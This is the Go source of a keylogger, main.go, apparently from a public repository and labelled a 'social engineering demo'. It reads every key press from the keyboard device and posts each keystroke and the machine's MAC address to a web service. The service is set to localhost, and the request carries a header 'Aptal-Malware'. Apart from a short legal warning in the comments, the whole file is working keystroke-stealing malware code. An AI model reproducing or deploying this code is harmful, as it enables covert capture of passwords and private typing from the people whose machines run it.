/
main.go
111 lines (94 loc) · 2.43 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package main
import (
"bytes"
"fmt"
"net"
"github.com/MarinX/keylogger"
"github.com/parnurzeal/gorequest"
"github.com/sirupsen/logrus"
)
//
//
// 3 Jul 2019 by echel0nn
// original code was MariNX's example.
// This code will post the keystrokes to webservice.
// Warning, code is experimental.
// You may face charges and penalties for using it in environments that you dont own.
func checkErr(err error) error {
if err != nil {
return err
} else {
return nil
}
}
func getMacAddr() (addr string) {
interfaces, err := net.Interfaces()
checkErr(err)
for _, i := range interfaces {
if i.Flags&net.FlagUp != 0 && bytes.Compare(i.HardwareAddr, nil) != 0 {
addr = i.HardwareAddr.String()
break
}
}
return
}
type Record struct {
IP string `json:"ip"`
MACADDR string `json:"macaddr"`
PressedKey string `json:"pressedkey"`
}
func main() {
var URL string = "http://localhost:8080/socialengineeringdemo"
logrus.Println("Debug Server :", URL)
request := gorequest.New()
// find keyboard device, does not require a root permission
keyboard := keylogger.FindKeyboardDevice()
// check if we found a path to keyboard
if len(keyboard) <= 0 {
logrus.Error("No keyboard found...you will need to provide manual input path")
return
}
logrus.Println("Found a keyboard at", keyboard)
// init keylogger with keyboard
k, err := keylogger.New(keyboard)
if err != nil {
logrus.Error(err)
return
}
defer k.Close()
events := k.Read()
// range of events
for e := range events {
switch e.Type {
// EvKey is used to describe state changes of keyboards, buttons, or other key-like devices.
// check the input_event.go for more events
case keylogger.EvKey:
// if the state of key is pressed
if e.KeyPress() {
logrus.Println("[ EVENT ] pressed key ", e.KeyString())
logrus.Println("MACADDR:" + getMacAddr())
rec := &Record{
IP: "127.0.0.1",
MACADDR: getMacAddr(),
PressedKey: e.KeyString(),
}
// send the key strokes
resp, body, errs := request.Post(URL).
Set("Aptal-Malware", "DEBG DEMO").
Send(rec).
End()
if errs != nil {
fmt.Println(errs)
continue
logrus.Println(" [ FATAL ERROR ! ] CONNECTION HAS BEEN LOST OR DISCONNECTED.")
}
logrus.Println(resp.Status, resp.Header, body)
}
// if the state of key is released
//if e.KeyRelease() {
// logrus.Println("[event] release key ", e.KeyString())
//}
break
}
}
}